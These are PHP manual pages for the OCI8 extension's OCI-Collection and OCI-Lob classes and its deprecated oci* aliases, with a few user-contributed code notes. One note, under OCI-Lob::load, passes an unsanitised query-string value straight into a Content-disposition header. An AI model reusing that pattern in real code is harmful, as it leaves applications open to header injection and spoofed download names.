There are no user contributed notes for this page.


Appends element to the collection

  • « OCI-Collection
  • OCI-Collection::assign »
  • PHP Manual
  • OCI-Collection
  • Appends element to the collection

OCI-Collection::append

(PHP 5, PECL OCI8 >= 1.1.0)

OCI-Collection::append — Appends element to the collection

Description

bool OCI-Collection::append ( mixed $value )

Appends element to the end of the collection.

Parameters

value

The value to be added to the collection. Can be a string or a number.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • OCI-Collection::assign

User Contributed Notes

There are no user contributed notes for this page.


Assigns a value to the collection from another existing collection

  • « OCI-Collection::append
  • OCI-Collection::assignElem »
  • PHP Manual
  • OCI-Collection
  • Assigns a value to the collection from another existing collection

OCI-Collection::assign

(PHP 5, PECL OCI8 >= 1.1.0)

OCI-Collection::assign — Assigns a value to the collection from another existing collection

Description

bool OCI-Collection::assign ( OCI-Collection $from )

Assigns a value to the collection from another, previously created collection. Both collections must be created with oci_new_collection() prior to using them.

Parameters

from

An instance of OCI-Collection.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • OCI-Collection::append

User Contributed Notes

There are no user contributed notes for this page.


Assigns a value to the element of the collection

  • « OCI-Collection::assign
  • OCI-Collection::free »
  • PHP Manual
  • OCI-Collection
  • Assigns a value to the element of the collection

OCI-Collection::assignElem

(PHP 5, PECL OCI8 >= 1.1.0)

OCI-Collection::assignElem — Assigns a value to the element of the collection

Description

bool OCI-Collection::assignElem ( int $index , mixed $value )

Assigns a value to the element with index index.

Parameters

index

The element index. First index is 0.

value

Can be a string or a number.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • OCI-Collection::getElem

User Contributed Notes

There are no user contributed notes for this page.


Frees the resources associated with the collection object

  • « OCI-Collection::assignElem
  • OCI-Collection::getElem »
  • PHP Manual
  • OCI-Collection
  • Frees the resources associated with the collection object

OCI-Collection::free

(PHP 5, PECL OCI8 >= 1.1.0)

OCI-Collection::free — Frees the resources associated with the collection object

Description

bool OCI-Collection::free ( void )

Frees the resources associated with the collection object.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • oci_new_collection

User Contributed Notes

There are no user contributed notes for this page.


Returns value of the element

  • « OCI-Collection::free
  • OCI-Collection::max »
  • PHP Manual
  • OCI-Collection
  • Returns value of the element

OCI-Collection::getElem

(PHP 5, PECL OCI8 >= 1.1.0)

OCI-Collection::getElem — Returns value of the element

Description

mixed OCI-Collection::getElem ( int $index )

Returns element's value with the index index (0-based).

Parameters

index

The element index. First index is 0.

Return Values

Returns FALSE if such element doesn't exist; NULL if element is NULL; string if element is column of a string datatype or number if element is numeric field.

See Also

  • OCI-Collection::assignElem

User Contributed Notes

There are no user contributed notes for this page.


Returns the maximum number of elements in the collection

  • « OCI-Collection::getElem
  • OCI-Collection::size »
  • PHP Manual
  • OCI-Collection
  • Returns the maximum number of elements in the collection

OCI-Collection::max

(PHP 5, PECL OCI8 >= 1.1.0)

OCI-Collection::max — Returns the maximum number of elements in the collection

Description

int OCI-Collection::max ( void )

Returns the maximum number of elements in the collection.

Return Values

Returns the maximum number as an integer, or FALSE on errors.

If the returned value is 0, then the number of elements is not limited.

See Also

  • OCI-Collection::size

User Contributed Notes

There are no user contributed notes for this page.


Returns size of the collection

  • « OCI-Collection::max
  • OCI-Collection::trim »
  • PHP Manual
  • OCI-Collection
  • Returns size of the collection

OCI-Collection::size

(PHP 5, PECL OCI8 >= 1.1.0)

OCI-Collection::size — Returns size of the collection

Description

int OCI-Collection::size ( void )

Returns the size of the collection.

Return Values

Returns the number of elements in the collection or FALSE on error.

See Also

  • OCI-Collection::max

User Contributed Notes

There are no user contributed notes for this page.


Trims elements from the end of the collection

  • « OCI-Collection::size
  • OCI-Lob »
  • PHP Manual
  • OCI-Collection
  • Trims elements from the end of the collection

OCI-Collection::trim

(PHP 5, PECL OCI8 >= 1.1.0)

OCI-Collection::trim — Trims elements from the end of the collection

Description

bool OCI-Collection::trim ( int $num )

Trims num of elements from the end of the collection.

Parameters

num

The number of elements to be trimmed.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • OCI-Collection::size

User Contributed Notes

There are no user contributed notes for this page.


The OCI-Lob class

(PHP 5, PECL OCI8 >= 1.1.0)

Introduction

OCI8 LOB functionality for large binary (BLOB) and character (CLOB) objects.

Class synopsis

OCI-Lob {
/* Methods */
bool append ( OCI-Lob $lob_from )
bool close ( void )
bool eof ( void )
int erase ([ int $offset [, int $length ]] )
bool export ( string $filename [, int $start [, int $length ]] )
bool flush ([ int $flag ] )
bool free ( void )
bool getBuffering ( void )
bool import ( string $filename )
string load ( void )
string read ( int $length )
bool rewind ( void )
bool save ( string $data [, int $offset ] )
bool seek ( int $offset [, int $whence = OCI_SEEK_SET ] )
bool setBuffering ( bool $on_off )
int size ( void )
int tell ( void )
bool truncate ([ int $length = 0 ] )
int write ( string $data [, int $length ] )
bool writeTemporary ( string $data [, int $lob_type = OCI_TEMP_CLOB ] )
}

Table of Contents

  • OCI-Lob::append — Appends data from the large object to another large object
  • OCI-Lob::close — Closes LOB descriptor
  • OCI-Lob::eof — Tests for end-of-file on a large object's descriptor
  • OCI-Lob::erase — Erases a specified portion of the internal LOB data
  • OCI-Lob::export — Exports LOB's contents to a file
  • OCI-Lob::flush — Flushes/writes buffer of the LOB to the server
  • OCI-Lob::free — Frees resources associated with the LOB descriptor
  • OCI-Lob::getBuffering — Returns current state of buffering for the large object
  • OCI-Lob::import — Imports file data to the LOB
  • OCI-Lob::load — Returns large object's contents
  • OCI-Lob::read — Reads part of the large object
  • OCI-Lob::rewind — Moves the internal pointer to the beginning of the large object
  • OCI-Lob::save — Saves data to the large object
  • OCI-Lob::saveFile — Alias of OCI-Lob::import
  • OCI-Lob::seek — Sets the internal pointer of the large object
  • OCI-Lob::setBuffering — Changes current state of buffering for the large object
  • OCI-Lob::size — Returns size of large object
  • OCI-Lob::tell — Returns the current position of internal pointer of large object
  • OCI-Lob::truncate — Truncates large object
  • OCI-Lob::write — Writes data to the large object
  • OCI-Lob::writeTemporary — Writes a temporary large object
  • OCI-Lob::writeToFile — Alias of OCI-Lob::export

User Contributed Notes

There are no user contributed notes for this page.


Appends data from the large object to another large object

  • « OCI-Lob
  • OCI-Lob::close »
  • PHP Manual
  • OCI-Lob
  • Appends data from the large object to another large object

OCI-Lob::append

(PHP 5, PECL OCI8 >= 1.1.0)

OCI-Lob::append — Appends data from the large object to another large object

Description

bool OCI-Lob::append ( OCI-Lob $lob_from )

Appends data from the large object to the end of another large object.

Writing to the large object with this method will fail if buffering was previously enabled. You must disable buffering before appending. You may need to flush buffers with OCI-Lob::flush before disabling buffering.

Parameters

lob_from

The copied LOB.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • OCI-Lob::flush
  • OCI-Lob::setBuffering
  • OCI-Lob::getBuffering

User Contributed Notes

There are no user contributed notes for this page.


Closes LOB descriptor

  • « OCI-Lob::append
  • OCI-Lob::eof »
  • PHP Manual
  • OCI-Lob
  • Closes LOB descriptor

OCI-Lob::close

(PHP 5, PECL OCI8 >= 1.1.0)

OCI-Lob::close — Closes LOB descriptor

Description

bool OCI-Lob::close ( void )

Closes descriptor of LOB or FILE. This function should be used only with OCI-Lob::writeTemporary.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • OCI-Lob::writeTemporary

User Contributed Notes

There are no user contributed notes for this page.


Tests for end-of-file on a large object's descriptor

  • « OCI-Lob::close
  • OCI-Lob::erase »
  • PHP Manual
  • OCI-Lob
  • Tests for end-of-file on a large object's descriptor

OCI-Lob::eof

(PHP 5, PECL OCI8 >= 1.1.0)

OCI-Lob::eof — Tests for end-of-file on a large object's descriptor

Description

bool OCI-Lob::eof ( void )

Tells whether the internal pointer of large object is at the end of LOB.

Return Values

Returns TRUE if internal pointer of large object is at the end of LOB. Otherwise returns FALSE.

Notes

Note:

This function will return an Oracle error if OCI-Lob::setBuffering is enabled on the LOB.

See Also

  • OCI-Lob::size

User Contributed Notes

rootmj_konf at seznam dot cz 05-Dec-2006 05:55
foreach (get_class_methods('OCI-Lob') as $method ) {
    echo "OCI-Lob::$method()\n";
}

http://www.oracle.com/technology/pub/articles/
oracle_php_cookbook/fuecks_lobs.html


Erases a specified portion of the internal LOB data

  • « OCI-Lob::eof
  • OCI-Lob::export »
  • PHP Manual
  • OCI-Lob
  • Erases a specified portion of the internal LOB data

OCI-Lob::erase

(PHP 5, PECL OCI8 >= 1.1.0)

OCI-Lob::erase — Erases a specified portion of the internal LOB data

Description

int OCI-Lob::erase ([ int $offset [, int $length ]] )

Erases a specified portion of the internal LOB data starting at a specified offset. If called without parameters, it erases all LOB data.

For BLOBs, erasing means that the existing LOB value is overwritten with zero-bytes. For CLOBs, the existing LOB value is overwritten with spaces.

Parameters

offset

length

Return Values

Returns the actual number of characters/bytes erased or FALSE on failure.

See Also

  • OCI-Lob::truncate

User Contributed Notes

There are no user contributed notes for this page.


Exports LOB's contents to a file

  • « OCI-Lob::erase
  • OCI-Lob::flush »
  • PHP Manual
  • OCI-Lob
  • Exports LOB's contents to a file

OCI-Lob::export

(PHP 5, PECL OCI8 >= 1.1.0)

OCI-Lob::export — Exports LOB's contents to a file

Description

bool OCI-Lob::export ( string $filename [, int $start [, int $length ]] )

Exports LOB contents to a file.

Parameters

filename

Path to the file.

start

Indicates from where to start exporting.

length

Indicates the length of data to be exported.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • OCI-Lob::import

User Contributed Notes

AlexiuS 15-Mar-2013 10:30
Please note, that contents of LOB is cleared after this operation. If you want to use LOB data after exporting it to file, you should read it from file with file_get_contents().

This will not work:
<?php
if($blob) {
    $filename = DOCUMENT_ROOT."/".$bildId.".jpg";
    if($blob->export($filename)) {
        while(!$blob->eof()){
            $dbResult .= $blob->read(2000);
        }
    } else {
        throw new Exception("Can not save the file ".$filename."!");
    }
}
?>

Use this instead:
<?php
if($blob) {
    $filename = DOCUMENT_ROOT."/".$bildId.".jpg";
    if($blob->export($filename)) {
        $dbResult = file_get_contents($filename);
    } else {
        throw new Exception("Can not save the file ".$filename."!");
    }
}
?>


Flushes/writes buffer of the LOB to the server

  • « OCI-Lob::export
  • OCI-Lob::free »
  • PHP Manual
  • OCI-Lob
  • Flushes/writes buffer of the LOB to the server

OCI-Lob::flush

(PHP 5, PECL OCI8 >= 1.1.0)

OCI-Lob::flush — Flushes/writes buffer of the LOB to the server

Description

bool OCI-Lob::flush ([ int $flag ] )

OCI-Lob::flush() actually writes data to the server.

Parameters

flag

By default, resources are not freed, but using flag OCI_LOB_BUFFER_FREE you can do it explicitly. Be sure you know what you're doing - next read/write operation to the same part of LOB will involve a round-trip to the server and initialize new buffer resources. It is recommended to use OCI_LOB_BUFFER_FREE flag only when you are not going to work with the LOB anymore.

Return Values

Returns TRUE on success or FALSE on failure.

Returns FALSE if buffering was not enabled or an error occurred.

See Also

  • OCI-Lob::getBuffering
  • OCI-Lob::setBuffering

User Contributed Notes

There are no user contributed notes for this page.


Frees resources associated with the LOB descriptor

  • « OCI-Lob::flush
  • OCI-Lob::getBuffering »
  • PHP Manual
  • OCI-Lob
  • Frees resources associated with the LOB descriptor

OCI-Lob::free

(PHP 5, PECL OCI8 >= 1.1.0)

OCI-Lob::free — Frees resources associated with the LOB descriptor

Description

bool OCI-Lob::free ( void )

Frees resources associated with the descriptor, previously allocated with oci_new_descriptor().

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

sixd at php dot net 24-Oct-2008 01:56
Use this to free the "temporary lobs" that get created when a query returns a LOB descriptor.  See ext/oci8/tests/bug43497.phpt for more information.


Returns current state of buffering for the large object

  • « OCI-Lob::free
  • OCI-Lob::import »
  • PHP Manual
  • OCI-Lob
  • Returns current state of buffering for the large object

OCI-Lob::getBuffering

(PHP 5, PECL OCI8 >= 1.1.0)

OCI-Lob::getBuffering — Returns current state of buffering for the large object

Description

bool OCI-Lob::getBuffering ( void )

Tells whether the buffering for the large object is on or off.

Return Values

Returns FALSE if buffering for the large object is off and TRUE if buffering is used.

See Also

  • OCI-Lob::setBuffering

User Contributed Notes

There are no user contributed notes for this page.


Imports file data to the LOB

  • « OCI-Lob::getBuffering
  • OCI-Lob::load »
  • PHP Manual
  • OCI-Lob
  • Imports file data to the LOB

OCI-Lob::import

(PHP 5, PECL OCI8 >= 1.1.0)

OCI-Lob::import — Imports file data to the LOB

Description

bool OCI-Lob::import ( string $filename )

Writes data from the filename in to the current position of large object.

Parameters

filename

Path to the file.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • OCI-Lob::export
  • OCI-Lob::write

User Contributed Notes

There are no user contributed notes for this page.


Returns large object's contents

  • « OCI-Lob::import
  • OCI-Lob::read »
  • PHP Manual
  • OCI-Lob
  • Returns large object's contents

OCI-Lob::load

(PHP 5, PECL OCI8 >= 1.1.0)

OCI-Lob::load — Returns large object's contents

Description

string OCI-Lob::load ( void )

Returns large object's contents. As script execution is terminated when the memory_limit is reached, ensure that the LOB does not exceed this limit. In most cases it's recommended to use OCI-Lob::read instead.

Return Values

Returns the contents of the object, or FALSE on errors.

See Also

  • OCI-Lob::read

User Contributed Notes

FaLL3N at mail dot ru 25-Dec-2006 02:49
Ps. To prevent IE errors like 'File not found!' after downloading file from db I recommend to add next two lines into header:
header('Cache-Control: max-age=0');
header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");

With this, IE will open any file normally :)
FaLL3N at mail dot ru 25-Oct-2006 03:34
I'll give you example how to download a file from db without storing it on server's FS:
It works like this - point yor browser to index.php?name=file.ext
Just make sure that file "file.ext" exists in your db!

Code:

<?php

 $dbConnection=ocilogon('user','pass','data.world'); //login stuff
 $sql_SelectBlob='select document_body,filename from tdocuments where id=1'; //selecting a blob field named 'document_body' with id = 1
 $statement=OCIParse($dbConnection,$sql_SelectBlob);

 OCIExecute($statement) or die($sql_SelectBlob.'<hr>');

if(OCIFetch($statement)) //if file exists
 {
 $a=OCIResult($statement,"DOCUMENT_BODY");
 }
header('Content-type: application/octet-stream;');
header('Content-disposition: attachment;filename='.$_GET['name']);

print $a->load();
//browser promts to save or open the file
?>

Have fun!


Reads part of the large object

  • « OCI-Lob::load
  • OCI-Lob::rewind »
  • PHP Manual
  • OCI-Lob
  • Reads part of the large object

OCI-Lob::read

(PHP 5, PECL OCI8 >= 1.1.0)

OCI-Lob::read — Reads part of the large object

Description

string OCI-Lob::read ( int $length )

Reads length bytes from the current position of LOB's internal pointer.

Reading stops when length bytes have been read or end of the large object is reached. Internal pointer of the large object will be shifted on the amount of bytes read.

Parameters

length

The length of data to read, in bytes. Large values will be rounded down to 1 MB.

Return Values

Returns the contents as a string, or FALSE on failure.

See Also

  • OCI-Lob::load
  • OCI-Lob::write

User Contributed Notes

Marcin Matras 26-Mar-2013 09:49
To read LOB into variable you can use OCI-Lob::load

<?php
$foo = $MyBlob->load();
?>
alvaro at demogracia dot com 08-Oct-2008 09:32
To read the whole LOB into a variable:

<?php
$foo = $MyBlob->read($MyBlob->size());
?>


Moves the internal pointer to the beginning of the large object

  • « OCI-Lob::read
  • OCI-Lob::save »
  • PHP Manual
  • OCI-Lob
  • Moves the internal pointer to the beginning of the large object

OCI-Lob::rewind

(PHP 5, PECL OCI8 >= 1.1.0)

OCI-Lob::rewind — Moves the internal pointer to the beginning of the large object

Description

bool OCI-Lob::rewind ( void )

Sets the internal pointer to the beginning of the large object.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • OCI-Lob::seek
  • OCI-Lob::tell

User Contributed Notes

There are no user contributed notes for this page.


Saves data to the large object

  • « OCI-Lob::rewind
  • OCI-Lob::saveFile »
  • PHP Manual
  • OCI-Lob
  • Saves data to the large object

OCI-Lob::save

(PHP 5, PECL OCI8 >= 1.1.0)

OCI-Lob::save — Saves data to the large object

Description

bool OCI-Lob::save ( string $data [, int $offset ] )

Saves data to the large object.

Parameters

data

The data to be saved.

offset

Can be used to indicate offset from the beginning of the large object.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • OCI-Lob::write
  • OCI-Lob::import

User Contributed Notes

Michael Krug 30-Jul-2013 03:17
When you get "OCI-Lob::save(): OCI_INVALID_HANDLE in ..." try
oci_execute($stid, OCI_NO_AUTO_COMMIT);
$clob->save($data);
oci_commit($conn);
02-Jun-2006 12:23
If you are using Save() on an update statement, PHP will throw a warning similar to "OCILobWrite: OCI_INVALID_HANDLE..." if your update statement did not catch any rows with its where clause.


Alias of OCI-Lob::import

  • « OCI-Lob::save
  • OCI-Lob::seek »
  • PHP Manual
  • OCI-Lob
  • Alias of OCI-Lob::import

OCI-Lob::saveFile

(PHP 5, PECL OCI8 >= 1.1.0)

OCI-Lob::saveFile — Alias of OCI-Lob::import()

Description

This function is an alias of: OCI-Lob::import().

User Contributed Notes

There are no user contributed notes for this page.


Sets the internal pointer of the large object

  • « OCI-Lob::saveFile
  • OCI-Lob::setBuffering »
  • PHP Manual
  • OCI-Lob
  • Sets the internal pointer of the large object

OCI-Lob::seek

(PHP 5, PECL OCI8 >= 1.1.0)

OCI-Lob::seek — Sets the internal pointer of the large object

Description

bool OCI-Lob::seek ( int $offset [, int $whence = OCI_SEEK_SET ] )

Sets the internal pointer of the large object.

Parameters

offset

Indicates the amount of bytes, on which internal pointer should be moved from the position, pointed by whence.

whence

May be one of:

  • OCI_SEEK_SET - sets the position equal to offset
  • OCI_SEEK_CUR - adds offset bytes to the current position
  • OCI_SEEK_END - adds offset bytes to the end of large object (use negative value to move to a position before the end of large object)

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • OCI-Lob::rewind
  • OCI-Lob::tell
  • OCI-Lob::eof

User Contributed Notes

christopher dot jones at oracle dot com 26-Feb-2008 01:38
The default value for $whence is OCI_SEEK_SET.


Changes current state of buffering for the large object

  • « OCI-Lob::seek
  • OCI-Lob::size »
  • PHP Manual
  • OCI-Lob
  • Changes current state of buffering for the large object

OCI-Lob::setBuffering

(PHP 5, PECL OCI8 >= 1.1.0)

OCI-Lob::setBuffering — Changes current state of buffering for the large object

Description

bool OCI-Lob::setBuffering ( bool $on_off )

Sets the buffering for the large object, depending on the value of the on_off parameter.

Use of this function may provide performance improvements by buffering small reads and writes of LOBs by reducing the number of network round-trips and LOB versions. OCI-Lob::flush() should be used to flush buffers, when you have finished working with the large object.

Parameters

on_off

TRUE for on and FALSE for off.

Return Values

Returns TRUE on success or FALSE on failure. Repeated calls to this method with the same flag will return TRUE.

See Also

  • OCI-Lob::getBuffering

User Contributed Notes

There are no user contributed notes for this page.


Returns size of large object

  • « OCI-Lob::setBuffering
  • OCI-Lob::tell »
  • PHP Manual
  • OCI-Lob
  • Returns size of large object

OCI-Lob::size

(PHP 5, PECL OCI8 >= 1.1.0)

OCI-Lob::size — Returns size of large object

Description

int OCI-Lob::size ( void )

Gets the size of the large object.

Return Values

Returns length of large object value or FALSE on failure. Empty objects have zero length.

User Contributed Notes

There are no user contributed notes for this page.


Returns the current position of internal pointer of large object

  • « OCI-Lob::size
  • OCI-Lob::truncate »
  • PHP Manual
  • OCI-Lob
  • Returns the current position of internal pointer of large object

OCI-Lob::tell

(PHP 5, PECL OCI8 >= 1.1.0)

OCI-Lob::tell — Returns the current position of internal pointer of large object

Description

int OCI-Lob::tell ( void )

Gets the current position of a LOB's internal pointer.

Return Values

Returns current position of a LOB's internal pointer or FALSE if an error occurred.

See Also

  • OCI-Lob::rewind
  • OCI-Lob::size
  • OCI-Lob::eof

User Contributed Notes

There are no user contributed notes for this page.


Truncates large object

  • « OCI-Lob::tell
  • OCI-Lob::write »
  • PHP Manual
  • OCI-Lob
  • Truncates large object

OCI-Lob::truncate

(PHP 5, PECL OCI8 >= 1.1.0)

OCI-Lob::truncate — Truncates large object

Description

bool OCI-Lob::truncate ([ int $length = 0 ] )

Truncates the LOB.

Parameters

length

If provided, this method will truncate the LOB to length bytes. Otherwise, it will completely purge the LOB.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • OCI-Lob::erase

User Contributed Notes

There are no user contributed notes for this page.


Writes data to the large object

  • « OCI-Lob::truncate
  • OCI-Lob::writeTemporary »
  • PHP Manual
  • OCI-Lob
  • Writes data to the large object

OCI-Lob::write

(PHP 5, PECL OCI8 >= 1.1.0)

OCI-Lob::write — Writes data to the large object

Description

int OCI-Lob::write ( string $data [, int $length ] )

Writes data from the parameter data into the current position of LOB's internal pointer.

Parameters

data

The data to write in the LOB.

length

If this parameter is given, writing will stop after length bytes have been written or the end of data is reached, whichever comes first.

Return Values

Returns the number of bytes written or FALSE on failure.

See Also

  • OCI-Lob::read

User Contributed Notes

There are no user contributed notes for this page.


Writes a temporary large object

  • « OCI-Lob::write
  • OCI-Lob::writeToFile »
  • PHP Manual
  • OCI-Lob
  • Writes a temporary large object

OCI-Lob::writeTemporary

(PHP 5, PECL OCI8 >= 1.1.0)

OCI-Lob::writeTemporary — Writes a temporary large object

Description

bool OCI-Lob::writeTemporary ( string $data [, int $lob_type = OCI_TEMP_CLOB ] )

Creates a temporary large object and writes data to it.

You should use OCI-Lob::close when you are done with this object.

Parameters

data

The data to write.

lob_type

Can be one of the following:

  • OCI_TEMP_BLOB is used to create temporary BLOBs
  • OCI_TEMP_CLOB is used to create temporary CLOBs

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • OCI-Lob::close

User Contributed Notes

There are no user contributed notes for this page.


Alias of OCI-Lob::export

  • « OCI-Lob::writeTemporary
  • OCI8 Obsolete Aliases and Functions »
  • PHP Manual
  • OCI-Lob
  • Alias of OCI-Lob::export

OCI-Lob::writeToFile

(PHP 5, PECL OCI8 >= 1.1.0)

OCI-Lob::writeToFile — Alias of OCI-Lob::export()

Description

This function is an alias of: OCI-Lob::export().

User Contributed Notes

There are no user contributed notes for this page.


OCI8 Obsolete Aliases and Functions

Table of Contents

  • ocibindbyname — Alias of oci_bind_by_name
  • ocicancel — Alias of oci_cancel
  • ocicloselob — Alias of OCI-Lob::close
  • ocicollappend — Alias of OCI-Collection::append
  • ocicollassign — Alias of OCI-Collection::assign
  • ocicollassignelem — Alias of OCI-Collection::assignElem
  • ocicollgetelem — Alias of OCI-Collection::getElem
  • ocicollmax — Alias of OCI-Collection::max
  • ocicollsize — Alias of OCI-Collection::size
  • ocicolltrim — Alias of OCI-Collection::trim
  • ocicolumnisnull — Alias of oci_field_is_null
  • ocicolumnname — Alias of oci_field_name
  • ocicolumnprecision — Alias of oci_field_precision
  • ocicolumnscale — Alias of oci_field_scale
  • ocicolumnsize — Alias of oci_field_size
  • ocicolumntype — Alias of oci_field_type
  • ocicolumntyperaw — Alias of oci_field_type_raw
  • ocicommit — Alias of oci_commit
  • ocidefinebyname — Alias of oci_define_by_name
  • ocierror — Alias of oci_error
  • ociexecute — Alias of oci_execute
  • ocifetch — Alias of oci_fetch
  • ocifetchinto — Obsolete variant of oci_fetch_array, oci_fetch_object, oci_fetch_assoc and oci_fetch_row
  • ocifetchstatement — Alias of oci_fetch_all
  • ocifreecollection — Alias of OCI-Collection::free
  • ocifreecursor — Alias of oci_free_statement
  • ocifreedesc — Alias of OCI-Lob::free
  • ocifreestatement — Alias of oci_free_statement
  • ociinternaldebug — Alias of oci_internal_debug
  • ociloadlob — Alias of OCI-Lob::load
  • ocilogoff — Alias of oci_close
  • ocilogon — Alias of oci_connect
  • ocinewcollection — Alias of oci_new_collection
  • ocinewcursor — Alias of oci_new_cursor
  • ocinewdescriptor — Alias of oci_new_descriptor
  • ocinlogon — Alias of oci_new_connect
  • ocinumcols — Alias of oci_num_fields
  • ociparse — Alias of oci_parse
  • ociplogon — Alias of oci_pconnect
  • ociresult — Alias of oci_result
  • ocirollback — Alias of oci_rollback
  • ocirowcount — Alias of oci_num_rows
  • ocisavelob — Alias of OCI-Lob::save
  • ocisavelobfile — Alias of OCI-Lob::import
  • ociserverversion — Alias of oci_server_version
  • ocisetprefetch — Alias of oci_set_prefetch
  • ocistatementtype — Alias of oci_statement_type
  • ociwritelobtofile — Alias of OCI-Lob::export
  • ociwritetemporarylob — Alias of OCI-Lob::writeTemporary

User Contributed Notes

There are no user contributed notes for this page.


Alias of oci_bind_by_name

  • « OCI8 Obsolete Aliases and Functions
  • ocicancel »
  • PHP Manual
  • OCI8 Obsolete Aliases and Functions
  • Alias of oci_bind_by_name

ocibindbyname

(PHP 4, PHP 5, PECL OCI8 >= 1.0.0)

ocibindbyname — Alias of oci_bind_by_name()

Description

Alias of oci_bind_by_name()

Warning

This alias has been DEPRECATED as of PHP 5.4.0. Relying on this alias is highly discouraged.

User Contributed Notes

There are no user contributed notes for this page.


Alias of oci_cancel

  • « ocibindbyname
  • ocicloselob »
  • PHP Manual
  • OCI8 Obsolete Aliases and Functions
  • Alias of oci_cancel

ocicancel

(PHP 4, PHP 5, PECL OCI8 >= 1.0.0)

ocicancel — Alias of oci_cancel()

Description

Alias of oci_cancel()

Warning

This alias has been DEPRECATED as of PHP 5.4.0. Relying on this alias is highly discouraged.

User Contributed Notes

There are no user contributed notes for this page.


Alias of OCI-Lob::close

  • « ocicancel
  • ocicollappend »
  • PHP Manual
  • OCI8 Obsolete Aliases and Functions
  • Alias of OCI-Lob::close

ocicloselob

(PHP 4 >= 4.0.6, PECL OCI8 1.0)

ocicloselob — Alias of OCI-Lob::close()

Description

Alias of OCI-Lob::close()

Warning

This alias has been DEPRECATED as of PHP 5.4.0. Relying on this alias is highly discouraged.

User Contributed Notes

There are no user contributed notes for this page.


Alias of OCI-Collection::append

  • « ocicloselob
  • ocicollassign »
  • PHP Manual
  • OCI8 Obsolete Aliases and Functions
  • Alias of OCI-Collection::append

ocicollappend

(PHP 4 >= 4.0.6, PHP 5, PECL OCI8 >= 1.0.0)

ocicollappend — Alias of OCI-Collection::append()

Description

Alias of OCI-Collection::append()

Warning

This alias has been DEPRECATED as of PHP 5.4.0. Relying on this alias is highly discouraged.

User Contributed Notes

There are no user contributed notes for this page.


Alias of OCI-Collection::assign

  • « ocicollappend
  • ocicollassignelem »
  • PHP Manual
  • OCI8 Obsolete Aliases and Functions
  • Alias of OCI-Collection::assign

ocicollassign

(PHP 4 >= 4.0.6, PECL OCI8 1.0)

ocicollassign — Alias of OCI-Collection::assign()

Description

Alias of OCI-Collection::assign()

Warning

This alias has been DEPRECATED as of PHP 5.4.0. Relying on this alias is highly discouraged.

User Contributed Notes

There are no user contributed notes for this page.


Alias of OCI-Collection::assignElem

  • « ocicollassign
  • ocicollgetelem »
  • PHP Manual
  • OCI8 Obsolete Aliases and Functions
  • Alias of OCI-Collection::assignElem

ocicollassignelem

(PHP 4 >= 4.0.6, PHP 5, PECL OCI8 >= 1.0.0)

ocicollassignelem — Alias of OCI-Collection::assignElem()

Description

Alias of OCI-Collection::assignElem()

Warning

This alias has been DEPRECATED as of PHP 5.4.0. Relying on this alias is highly discouraged.

User Contributed Notes

There are no user contributed notes for this page.


Alias of OCI-Collection::getElem

  • « ocicollassignelem
  • ocicollmax »
  • PHP Manual
  • OCI8 Obsolete Aliases and Functions
  • Alias of OCI-Collection::getElem

ocicollgetelem

(PHP 4 >= 4.0.6, PHP 5, PECL OCI8 >= 1.0.0)

ocicollgetelem — Alias of OCI-Collection::getElem()

Description

Alias of OCI-Collection::getElem()

Warning

This alias has been DEPRECATED as of PHP 5.4.0. Relying on this alias is highly discouraged.

User Contributed Notes

There are no user contributed notes for this page.


Alias of OCI-Collection::max

  • « ocicollgetelem
  • ocicollsize »
  • PHP Manual
  • OCI8 Obsolete Aliases and Functions
  • Alias of OCI-Collection::max

ocicollmax

(PHP 4 >= 4.0.6, PHP 5, PECL OCI8 >= 1.0.0)

ocicollmax — Alias of OCI-Collection::max()

Description

Alias of OCI-Collection::max()

Warning

This alias has been DEPRECATED as of PHP 5.4.0. Relying on this alias is highly discouraged.

User Contributed Notes

There are no user contributed notes for this page.


Alias of OCI-Collection::size

  • « ocicollmax
  • ocicolltrim »
  • PHP Manual
  • OCI8 Obsolete Aliases and Functions
  • Alias of OCI-Collection::size

ocicollsize

(PHP 4 >= 4.0.6, PHP 5, PECL OCI8 >= 1.0.0)

ocicollsize — Alias of OCI-Collection::size()

Description

Alias of OCI-Collection::size()

Warning

This alias has been DEPRECATED as of PHP 5.4.0. Relying on this alias is highly discouraged.

User Contributed Notes

There are no user contributed notes for this page.


Alias of OCI-Collection::trim

  • « ocicollsize
  • ocicolumnisnull »
  • PHP Manual
  • OCI8 Obsolete Aliases and Functions
  • Alias of OCI-Collection::trim

ocicolltrim

(PHP 4 >= 4.0.6, PHP 5, PECL OCI8 >= 1.0.0)

ocicolltrim — Alias of OCI-Collection::trim()

Description

Alias of OCI-Collection::trim()

Warning

This alias has been DEPRECATED as of PHP 5.4.0. Relying on this alias is highly discouraged.

User Contributed Notes

There are no user contributed notes for this page.


Alias of oci_field_is_null

  • « ocicolltrim
  • ocicolumnname »
  • PHP Manual
  • OCI8 Obsolete Aliases and Functions
  • Alias of oci_field_is_null

ocicolumnisnull

(PHP 4, PHP 5, PECL OCI8 >= 1.0.0)

ocicolumnisnull — Alias of oci_field_is_null()

Description

Alias of oci_field_is_null()

Warning

This alias has been DEPRECATED as of PHP 5.4.0. Relying on this alias is highly discouraged.

User Contributed Notes

There are no user contributed notes for this page.


Alias of oci_field_name

  • « ocicolumnisnull
  • ocicolumnprecision »
  • PHP Manual
  • OCI8 Obsolete Aliases and Functions
  • Alias of oci_field_name

ocicolumnname

(PHP 4, PHP 5, PECL OCI8 >= 1.0.0)

ocicolumnname — Alias of oci_field_name()

Description

Alias of oci_field_name()

Warning

This alias has been DEPRECATED as of PHP 5.4.0. Relying on this alias is highly discouraged.

User Contributed Notes

There are no user contributed notes for this page.


Alias of oci_field_precision

  • « ocicolumnname
  • ocicolumnscale »
  • PHP Manual
  • OCI8 Obsolete Aliases and Functions
